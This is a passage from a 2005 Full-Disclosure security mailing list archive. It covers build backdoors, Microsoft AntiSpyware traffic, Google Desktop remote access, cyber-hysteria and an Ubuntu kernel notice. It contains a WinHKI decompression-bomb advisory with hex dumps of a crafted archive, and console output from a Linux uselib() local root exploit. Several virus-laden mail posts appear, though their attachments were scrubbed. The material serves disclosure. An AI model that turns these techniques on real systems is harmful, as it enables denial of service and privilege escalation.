25B3%25D0%25BE%25D0%25B4%25D0%25BD%25D0%25B5%25D0%25BC%2B%25D0%25BF% 25D1%2580%25D0%25BE%25D0%25B5%25D0%25BA%25D1%2582%25D0%25B5.%250A%250A% 25D0%25A1%25D1%2587%25D0%25B0%25D1%2581%25D1%2582%25D0%25BB%25D0%25B8% 25D0%25B2%25D0%25BE%25D0%25B3%25D0%25BE%2B%25D0%25B2%25D0%25B0%25D0%25BC %2B%25D0%259D%25D0%25BE%25D0%25B2%25D0%25BE%25D0%25B3%25D0%25BE%2B%25D0% 25B3%25D0%25BE%25D0%25B4%25D0%25B0%2521%2B%250A%250A%25D0%25A1%2B%25D0% 25BD%25D0%25B0%25D0%25B8%25D0%25BB%25D1%2583%25D1%2587%25D1%2588%25D0% 25B8%25D0%25BC%25D0%25B8%2B%25D0%25BF%25D0%25BE%25D0%25B6%25D0%25B5% 25D0%25BB%25D0%25B0%25D0%25BD%25D0%25B8%25D1%258F%25D0%25BC%25D0%25B8% 252C%250A%0A Any feedback on your results would be great :-) Thanks guys... -- Kristian Hermansen From kkadow at gmail.com Sat Jan 8 01:54:44 2005 From: kkadow at gmail.com (Kevin) Date: Fri, 7 Jan 2005 19:54:44 -0600 Subject: Backdoors and source code (was Re: [Full-Disclosure] Multiple Backdoors found...) Message-ID: On Sun, 02 Jan 2005 20:27:09 -0800, Blue Boar wrote: > Dave Aitel wrote: > > Of course, this sort of thing is basically impossible to disprove - > > especially without source. > > If I were looking for a well-hidden backdoor, I wouldn't bother with > source. There's no guarantee that a particular binary was produced by a > particular group of source unless you can compile it yourself to the > same set of bytes. And even when you have two binary files built by the same compiler version on two different machines running the same OS version, it's not uncommon for the two files to not produce the same set of bytes. See the recent thread on 'httpd cleanup' from the OpenBSD 'tech' list. > Even then, you've got no guarantee the backdoor > isn't introduced as part of the build process or a compiler quirk, > rather than being in the source. On the subject of "visible source" as a protection against backdoors, I notice that PGP.Com offers source code to their products for download for exactly this purpose, but does *not* provide any instructions on how to validate that the binaries produced from the "visible source" PGP desktop for Windows match up with the binary executables and libraries distributed when you install a licensed PGP desktop build. From visitbipin at yahoo.com Sat Jan 8 09:29:30 2005 From: visitbipin at yahoo.com (bipin gautam) Date: Sat, 8 Jan 2005 01:29:30 -0800 (PST) Subject: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB In-Reply-To: <001001c4f445$d4fe1a80$f85ab350@noone> Message-ID: <20050108092930.73686.qmail@web20222.mail.yahoo.com> that's obvious isn't it... say... if you create a few GB file with null characters, 0X00 and compress it...... that will produce a similar result. such issue is known for any file compress utility for ages. any... software will do the same! try it. and THAT'S OBVIOUS! --- "Rafel Ivgi, The-Insider" wrote: > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > Application: WinHKI > Vendors: http://www.webtoolmaster.com > Versions: 1.4d > Platforms: Windows > Bug: ARC File Extraction of 1KB to 1.56GB > Exploitation: Local (extract file) > Date: 24 Dec 2004 > Author: Rafel Ivgi, The-Insider > E-Mail: the_insider at mail.com > Website: http://theinsider.deep-ice.com > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > 1) Introduction > 2) Bugs > 3) The Code > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > =============== > 1) Introduction > =============== > > WinHKI is a file archiever which supports: ARC, BH, > CAB, HKI, JAR, LHA,TAR, > > GZ compressions. > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > ====== > 2) Bug > ====== > > This is a normal CAB compressed file header > > 00000000 1A02 3235 312E 4854 4D00 5E5E 5E5E 5E1B > ..251.HTM.^^^^^. > 00000010 0000 0078 3139 73B5 121B 0000 003C 7363 > ...x19s...... 00000020 7269 7074 FB3E 616C 6572 7428 293C 2F73 > ript.>alert() 00000030 6372 6970 743E 0D0A 1A00 > cript>.... > > By adding after the filename header a certain amount > of chars > and replacing all nulls (00) with FF (in order to > avoid our > long string from being terminated) > > 00000000 1A02 3235 312E 4854 4DFF 5E5E 5E5E 5EFF > ..251.HTM.^^^^^. > 00000010 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000020 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000030 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000040 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000050 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000060 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000070 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000080 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000090 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000000A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000000B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000000C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000000D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000000E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000000F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000100 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000110 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000120 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000130 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000140 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000150 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000160 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000170 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000180 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000190 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000001A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000001B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000001C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000001D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000001E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000001F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000200 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000210 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000220 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000230 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000240 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000250 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000260 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000270 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000280 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000290 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000002A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000002B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000002C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000002D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000002E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000002F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000300 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000310 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000320 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000330 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000340 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000350 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000360 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000370 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000380 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000390 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000003A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000003B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000003C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000003D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000003E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 000003F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF > ................ > 00000400 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FF1B > ................ > 00000410 FFFF FF78 3139 73B5 121B FFFF FF3C 7363 > ...x19s...... 00000420 7269 7074 FB3E 616C 6572 7428 293C 2F73 > ript.>alert() 00000430 6372 6970 743E 0D0A 1A00 > cript>.... > > > HKI will create a 1.56 GIGA BYTE file on at the > selected extract location. > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > =========== > 3) The Code > =========== > > An online proof of concept can be found at: > http://theinsider.deep-ice.com/hki156gb.ARC > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > --- > Rafel Ivgi, The-Insider > http://theinsider.deep-ice.com > > "Scripts and Codes will make me D.O.S , but they > will never HACK me." > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: > http://lists.netsys.com/full-disclosure-charter.html > __________________________________ Do you Yahoo!? Yahoo! Mail - Easier than ever with enhanced search. Learn more. http://info.mail.yahoo.com/mail_250 From bits_n_bytes at gmx.de Sat Jan 8 10:38:34 2005 From: bits_n_bytes at gmx.de (Frank Dietrich) Date: Sat, 8 Jan 2005 11:38:34 +0100 Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation, corrected In-Reply-To: References: Message-ID: <20050108113834.553b397c@travel.earth> Hi there, Paul Starzetz wrote: > Synopsis: Linux kernel uselib() privilege elevation > Product: Linux kernel > Version: 2.4 up to and including 2.4.29-rc2, 2.6 up to and Is the system allways compromisable whitout tmpfs support in the kernel? I tried your exploit sample to test my systems. As normal user I get can't write to /dev/shm. /dev/shm here only writeable for root. regards Frank From noacces at lycos.nl Sat Jan 8 11:12:35 2005 From: noacces at lycos.nl (noAcces) Date: Sat, 08 Jan 2005 11:12:35 GMT Subject: [Full-Disclosure] Novell WebAcces Message-ID: <1105182755014049@lycos-europe.com> An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050108/c9183e1b/attachment.html From appelast at drumnbass.art.pl Sat Jan 8 11:21:15 2005 From: appelast at drumnbass.art.pl (Karol Wiesek) Date: Sat, 8 Jan 2005 12:21:15 +0100 Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation, corrected In-Reply-To: <20050108113834.553b397c@travel.earth> References: <20050108113834.553b397c@travel.earth> Message-ID: <20050108112114.GA74421@bsquad.sm.pl> On Sat, Jan 08, 2005 at 11:38:34AM +0100, Frank Dietrich wrote: => Hi there, => => Paul Starzetz wrote: => > Synopsis: Linux kernel uselib() privilege elevation => > Product: Linux kernel => > Version: 2.4 up to and including 2.4.29-rc2, 2.6 up to and => => Is the system allways compromisable whitout tmpfs support in the => kernel? => => I tried your exploit sample to test my systems. As normal user I get => can't write to /dev/shm. /dev/shm here only writeable for root. => Use -l switch to specify location of lib. [appelast at nesquik appelast]$ ./ex -l ./lib [+] SLAB cleanup child 1 VMAs 65527 child 2 VMAs 65527 child 3 VMAs 33067 [+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000 [+] vmalloc area 0xc7c00000 - 0xcf75c000 Wait... - [+] race won maps=10888 expanded VMA (0xbfffc000-0xffffe000) [!] try to exploit 0xc8a66000 [+] gate modified ( 0xffec90fc 0x0804ec00 ) [+] exploited, uid=0 sh-2.05b# From randallm at fidmail.com Sat Jan 8 16:12:23 2005 From: randallm at fidmail.com (RandallM) Date: Sat, 8 Jan 2005 10:12:23 -0600 Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and Vulnerable Message-ID: <200501081612.j08GCLrs013728@lists.netsys.com> On Thu, 6 Jan 2005, James Patterson Wicks wrote: > While this was just a quick test to satisfy my curiosity about the > Microsoft tool, my initial feeling is that the Microsoft AntiSpyware is > worth a test deployment in the office. This beta expires in July. > Hopefully the final version will be free and allow for centralized > domain management. It's the least that Microsoft can do. I don't think it's going to be free. While doing a small amount of research on the "spyware community" I found this text string in the GianttAntiSpywareUpdater.exe: "Because your Microsoft AntiSpyware subscription has expired, needed spyware definitions could NOT be downloaded and installed. Your definitions should be updated as soon as possible to prevent spyware infections. Your Microsoft AntiSpyware Subscription has Expired" And within the gcASNotice.exe "We hope your trial went well. Unfortunately you are now no longer protected from the growing dangers of spyware, worms and trojans. Continue to keep your self protected, purchase the full version today with a full money back guarantee." I also have been a bit curious concerning the "user community" and the way this type of software updates, whether or not they can be exploited this way. Now I would like to RANT a bit here. After picking myself up off the floor from reading this I chose to post this. The primary reason most spyware and trojans get unauthorized access to "my" computer is because of my blind trust in the products I use. One such product was a browser embedded in the operating system I own. To rid myself of such unauthorized accesses I had to educate myself and find software to do it. Most of them are freely developed (God Bless Them Each and Everyone). Alone comes a program to do this own by the operating system and products I use. I was happy and thought, "who would be better equipped to do such then the owners themselves. After all they wrote and know all the programming of it. The can surely protect it. According to the above txt scans of this product I have to pay them to defend what they allowed. Its a strange strange world after all. I don't want to sound condescending but, if this is the case, this Company software needs some humility lessons brought to them through heavy exploitations of such software. On the other hand if such Company would provide this as a service to me then they need a community helping hand. thank you Randall M From randallm at fidmail.com Sat Jan 8 17:03:14 2005 From: randallm at fidmail.com (RandallM) Date: Sat, 8 Jan 2005 11:03:14 -0600 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impression Message-ID: <200501081703.j08H32rs017335@lists.netsys.com> KF (lists) wrote: >>>>>>>>>>>>>>>>>>>> Message: 11 Date: Fri, 07 Jan 2005 11:19:56 -0500 From: "KF (lists)" Subject: Re: [Full-Disclosure] Microsoft AntiSpyware - First Impressions To: full-disclosure at lists.netsys.com Message-ID: <41DEB6AC.5090405 at digitalmunition.com> Content-Type: text/plain; charset=windows-1252; format=flowed Do a software update check with this thing and you get GIANTAntiSpywareMain.exe listening on port 2571 until the software is closed. Feel free to beat on and fuzz that port fellas. =] -KF >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> I found this with tcpview: GIANTAntiSpywareMain.exe:3424 TCP p4fast.xxxx.com:3256 216.32.240.26:http ESTABLISHED GIANTAntiSpywareMain.exe:3424 UDP p4fast:3255 *:* OrgName: Savvis OrgID: SAVVI-2 Address: 3300 Regency Parkway City: Cary StateProv: NC PostalCode: 27511 Country: US ReferralServer: rwhois://rwhois.exodus.net:4321/ NetRange: 216.32.0.0 - 216.35.255.255 CIDR: 216.32.0.0/14 NetName: SAVVIS NetHandle: NET-216-32-0-0-1 Parent: NET-216-0-0-0-0 NetType: Direct Allocation NameServer: DNS01.SAVVIS.NET NameServer: DNS02.SAVVIS.NET NameServer: DNS03.SAVVIS.NET NameServer: DNS04.SAVVIS.NET Comment: RegDate: 1998-07-30 Updated: 2004-10-07 GET / HTTP/1.1 Host: 216.32.240.26 Connection: close User-Agent: Sam Spade 1.14 HTTP/1.1 403 Forbidden Content-Length: 218 Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET MicrosoftOfficeWebServer: 5.0_Pub Date: Sat, 08 Jan 2005 16:40:07 GMT Connection: close If you look at for instance system process, BHO area and select an unknown, an option to "send to spynet for anayliss" is there. If you select this, it reports to the 216.31.240.26 also. On a funny note, under ActiveX area it list the microsoft update as this: "Microsoft Windows Update Control Engine This is an unknown ActiveX File path: C:\WINDOWS\System32\iuengine.dll Description: Windows Update Control Engine Publisher: Microsoft Corporation Last modified: Tue, 26 Aug 2003 01:19:52 GMT Installed version: 5,4,3790,14 Download location: http://v4.windowsupdate.microsoft.com/CAB/x86/unicode/iuctl.CAB?37921.827546 2963" It does look as if they jumped very quickly to launch this software! thank you Randall M From scrotora at hushmail.com Sat Jan 8 17:30:02 2005 From: scrotora at hushmail.com (Scrotora) Date: Sat, 08 Jan 2005 18:30:02 +0100 Subject: [Full-Disclosure] Fax Message Received Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050108/bcfcc8fa/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: text_document.scr Type: application/octet-stream Size: 21091 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050108/bcfcc8fa/attachment.obj From ostiguy at gmail.com Sat Jan 8 18:57:58 2005 From: ostiguy at gmail.com (Matt Ostiguy) Date: Sat, 8 Jan 2005 13:57:58 -0500 Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and Vulnerable In-Reply-To: <200501081612.j08GCLrs013728@lists.netsys.com> References: <200501081612.j08GCLrs013728@lists.netsys.com> Message-ID: <3dc922c3050108105762eef57f@mail.gmail.com> On Sat, 8 Jan 2005 10:12:23 -0600, RandallM wrote: > > > I don't think it's going to be free. While doing a small amount of research > on the "spyware community" I found this text string in the > GianttAntiSpywareUpdater.exe: > Doesn't the fact that the executable's name contains a company that no longer exists (Giant) indicate that perhaps this BETA software will undergo some changes before its full release as a Microsoft product? From scrotora at hushmail.com Sat Jan 8 20:28:42 2005 From: scrotora at hushmail.com (Scrotora) Date: Sat, 08 Jan 2005 21:28:42 +0100 Subject: [Full-Disclosure] Re: Document Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050108/c0985d27/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: Toy.com Type: application/octet-stream Size: 20294 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050108/c0985d27/attachment.obj From abe.usher at sharp-ideas.net Sat Jan 8 22:51:04 2005 From: abe.usher at sharp-ideas.net (Abe Usher) Date: Sat, 08 Jan 2005 17:51:04 -0500 Subject: [Full-Disclosure] Using Google Desktop Search for remote system monitoring Message-ID: <41E063D8.8050906@sharp-ideas.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Once installed on a host, Google Desktop Search provides some great capabilities: "Find your email, files, web history and chats instantly, view web pages you've seen, even when you're not online..." [1]. As a learning exercise, I decided to see if I could make desktop search results available remotely across a TCP/IP network. In fact you can, but such use is not part of Google's original intent or end user license agreement [2]. If you are interested in trying "desktop" search remotely, check out my write up at: http://www.sharp-ideas.net/ Cheers, Abe Usher, CISSP [1] http://desktop.google.com/ [2] http://desktop.google.com/eula -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFB4GPXT3X9miqOcSQRAg9IAJ48lD70veg6Fg6uP+1Cb5J4SKSHjgCeNJWA u29WxReyja/q7f5OwWSlSWw= =tweG -----END PGP SIGNATURE----- From jan.muenther at nruns.com Sun Jan 9 05:09:01 2005 From: jan.muenther at nruns.com (jan.muenther at nruns.com) Date: Sun, 9 Jan 2005 10:39:01 +0530 Subject: [Full-Disclosure] Mail Delivery (failure full-disclosure@lists.netsys.com) Message-ID: <200501090508.j0958ers029304@lists.netsys.com> -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/33e04fe1/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: audio/x-wav Size: 31744 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/33e04fe1/attachment.wav From stevex11 at sbcglobal.net Sun Jan 9 09:51:07 2005 From: stevex11 at sbcglobal.net (Steve Kudlak) Date: Sun, 09 Jan 2005 01:51:07 -0800 Subject: [Full-Disclosure] Electronic Jihad on August 26, 04 ?? In-Reply-To: References: Message-ID: <41E0FE8B.4070106@sbcglobal.net> Rob Rosenberger wrote: >Vmyths.com Virus Hysteria Alert >Truth About Computer Security Hysteria >{25 August 2004, 01:20 CT} > >CATEGORY: Dire predictions of a cyber-war or cyber-terrorism > >Russian news site MosNews.com has reported "terrorists will paralyze the >Internet on August 26" (this Thursday). The story cites virus experts >Alexander Gostev and Eugene Kaspersky, both who work for Kaspersky Labs, a >large Russian antivirus firm. MosNews ran the story under the headline >"Russian Computer Expert Predicts Internet Terrorist Attack." > > MosNews.com story (English): > http://www.mosnews.com/news/2004/08/24/internetend.shtml > >The web page address includes the phrase "internetend" -- an obvious >reference to the end of the Internet as we know it. > >Vmyths dismisses this "Internet Terrorist Attack" story as baseless >hysteria, for numerous reasons explained below. > >It appears MosNews derived their story from a newswire published by >Lenta.ru, which may have derived their own story from a Novosti newswire. >In other words, it's "hand-me-down" news, and this is a systemic problem in >computer security. Reporters will often quote each others' stories as their >main sources of information. Worse, these stories originated in Russia, >where many news agencies have dissolved into sensationalist tabloids since >the breakup of the Soviet Union. > >Speaking directly to Novosti's reporters, Gostev supposedly claimed "the >United States and Western Europe will suffer from the attack" on Thursday, >while Kaspersky supposedly "reminded that similar attacks had earlier >paralyzed [the] Internet in South Korea. He added that it would be >'impossible' to stop terrorist organizations if they 'get down to >business.'" > >As expected, the Novosti newswire described the cyber-terrorists as >"Islamic" fundamentalists who declared Thursday a day of "electronic jihad." > >Gostev and Kaspersky claimed they learned about the cyber-terror attack from >data "published on specialized sites," and Gostev admitted "it is difficult >to say how true this information is." Statements like this raise a RED FLAG >at Vmyths. We believe the men studied messages left by narcissistic >braggarts, not Islamic cyber-warriors. Vmyths has seen NO objective >corroborating evidence for an Internet armageddon in the near future. > >Narcissistic braggarts have a notorious habit of (1) declaring an attack >date and then (2) failing to show up for duty at the appointed time. One of >the most hilarious examples of this took place in 1997; see >http://Vmyths.com/hoax.cfm?id=28&page=3 for details. > >According to Novosti, Kaspersky concluded by saying "it is ghastly enough >that these people have mentioned 'electronic jihad' for the first time." >Kaspersky is clearly mistaken if the newswire quoted him in context. >Hackers and the media have used this exact term for years; a Google search >returns 500+ matches. Israel's Jerusalem Post newspaper used a similar >term, "virtual jihad," four years ago. mi2g (a well-documented fearmonger) >has issued predictions over the years for electronic jihads which have NEVER >come to pass. > > Remember this when virus hysteria strikes: > http://Vmyths.com/resource.cfm?id=31&page=1 > >MosNews quoted Lenta.ru, which quoted another virus expert, who insisted >"Kaspersky Labs has been foretelling the doomsday for a long time." Vmyths >agrees they occasionally sensationalize threats -- but a global cyber-terror >prediction seems highly out of character for them. And the Kaspersky.com >website so far offers no special news/advice for its clients. The Novosti >newswire oddly claims Kaspersky Labs "will be switched over to the 'yellow' >danger level" on Thursday, but this, too, seems highly out of character for >the antivirus firm. > >For all of these reasons, Vmyths dismisses this "Internet Terrorist Attack" >story as baseless hysteria. > >Vmyths assumes Alexander Gostev & Eugene Kaspersky were quoted out of >context -- but we don't know HOW MUCH they were quoted out of context. This >may be an example of a "worst-case scenario briefing" gone awry. (See >http://Vmyths.com/rant.cfm?id=540&page=4 for more on this subtopic.) We >asked Kaspersky Labs to comment on the Russian news stories and we'll >publish their response as soon as we get it. > >Unfortunately, the global media has a FETISH for "end of the Internet" >stories. Vmyths predicts the following: > > (1) On Wednesday, news outlets around the world will report the Novosti >newswire (and stories derived from it) without question. A sensationalist >reporter might even link cyber-terrorism to the breaking news of two Russian >jetliners that just crashed. "Did Islamic hackers take over the cockpits?" > (2) On Thursday, a few news outlets will acknowledge the prediction >flopped. > (3) On Friday, reporters will dump the story as a non-event. > >The SANS "Internet Storm Center" (http://isc.sans.org) currently reports a >"green" status for the Internet. SANS "predicts that the Internet will not >vaporize into a cloud of nothingness this Thursday, but if it does, it's >been our pleasure to help stave off its inevitable annihilation this long." >Vmyths applauds SANS for its sense of humor. > >Don't bet on an Islamic cyber-attack this Thursday. Stay calm. Stay >reasoned. And stay tuned to Vmyths. > >Rob Rosenberger, editor >http://Vmyths.com >Rob at Vmyths.com >(319) 646-2800 > >Acknowledgements: > * Cory Altheide (SANS), for URLs to Russian news stories > * Confidential source, for the Novosti newswire > >CATEGORY: Dire predictions of a cyber-war or cyber-terrorism > >--------------- Useful links ------------------ > >Common cliches in the antivirus world >http://Vmyths.com/resource.cfm?id=22&page=1 > >False Authority Syndrome >http://Vmyths.com/fas/fas1.cfm > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > > This seems to happen in all sorts of media. A friend of mine gave me a book called "Crossing the Rubicon" which at first site is just chock full of footnotes and references. Much of it is believers quoting other believers. Whereas Adam Curtis' Power of Nightmares seems to just have things that mostly check out. But this is getting far afield from computer security in some ways, in other ways it isn't. Most AV companies and other security firms sell pretty much freedom from dangers, some of them very real and that is all well and good. But some are not above trumping things up and using scare tactics. It does everyone on a dis-service when people do these things, If something real coms along people might ignore it. Of course if Adam Curtis is right, the last thing 20+ dissaffected people scattered over the world want to do is bring down the thing that lets them communicate. Have Fun, Sends Steve From thor at pivx.com Sun Jan 9 11:06:58 2005 From: thor at pivx.com (thor at pivx.com) Date: Sun, 9 Jan 2005 16:36:58 +0530 Subject: [Full-Disclosure] Re: Re: document_all Message-ID: <200501091106.j09B6ers018795@lists.netsys.com> Please read the document. -------------- next part -------------- A non-text attachment was scrubbed... Name: document.zip Type: application/octet-stream Size: 32016 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/ff0d3888/attachment.obj From barrie at reboot-robot.net Sun Jan 9 12:02:01 2005 From: barrie at reboot-robot.net (Barrie Dempster) Date: Sun, 09 Jan 2005 12:02:01 +0000 Subject: [Full-Disclosure] Using Google Desktop Search for remote system monitoring In-Reply-To: <41E063D8.8050906@sharp-ideas.net> References: <41E063D8.8050906@sharp-ideas.net> Message-ID: <1105272122.4602.6.camel@localhost.localdomain> On Sat, 2005-01-08 at 17:51 -0500, Abe Usher wrote: > If you are interested in trying "desktop" search remotely, check out my > write up at: > http://www.sharp-ideas.net/ That isn't entirely remote from what I can see. You need to know the salt value before you can find the page, you'd have to gain that value locally each time in order to access the page remotely. Unless you find out where it's stored and pipe that over the connection. You could however code a small program to run on the google desktop machine which both monitors the google desktop and opens a socket for remote use, As it stands the method you use isn't entirely useful other than showing that you can redirect a loopback port to a network accessible port which I'm sure we are all aware off. Are you going to take this further or was it like you said just for fun ? With Regards.. Barrie Dempster (zeedo) - Fortiter et Strenue http://www.bsrf.org.uk [ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/a0b0d374/attachment.bin From martin.pitt at canonical.com Sun Jan 9 12:25:27 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Sun, 9 Jan 2005 13:25:27 +0100 Subject: [Full-Disclosure] [USN-57-1] Linux kernel vulnerabilities Message-ID: <20050109122527.GA28123@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-57-1 January 09, 2005 linux-source-2.6.8.1 vulnerabilities CAN-2004-1235, CAN-2004-1337 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: linux-image-2.6.8.1-4-386 linux-image-2.6.8.1-4-686 linux-image-2.6.8.1-4-686-smp linux-image-2.6.8.1-4-amd64-generic linux-image-2.6.8.1-4-amd64-k8 linux-image-2.6.8.1-4-amd64-k8-smp linux-image-2.6.8.1-4-amd64-xeon linux-image-2.6.8.1-4-k7 linux-image-2.6.8.1-4-k7-smp linux-image-2.6.8.1-4-power3 linux-image-2.6.8.1-4-power3-smp linux-image-2.6.8.1-4-power4 linux-image-2.6.8.1-4-power4-smp linux-image-2.6.8.1-4-powerpc linux-image-2.6.8.1-4-powerpc-smp linux-patch-debian-2.6.8.1 The problem can be corrected by upgrading the affected package to version 2.6.8.1-16.8. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Paul Starzetz discovered a race condition in the ELF library and a.out binary format loaders, which can be locally exploited in several different ways to gain root privileges. (CAN-2004-1235) Liang Bin found a design flaw in the capability module. After this module was loaded on demand in a running system, all unprivileged user space processes got all kernel capabilities (thus essentially root privileges). This is mitigated by the fact that the capability module is loaded very early in the boot process of a standard Ubuntu system, when no unprivileged user processes are yet running. (CAN-2004-1337) Finally, this update fixes a memory leak in the ip_conntrack_ftp iptables module. However, it is believed that this is not 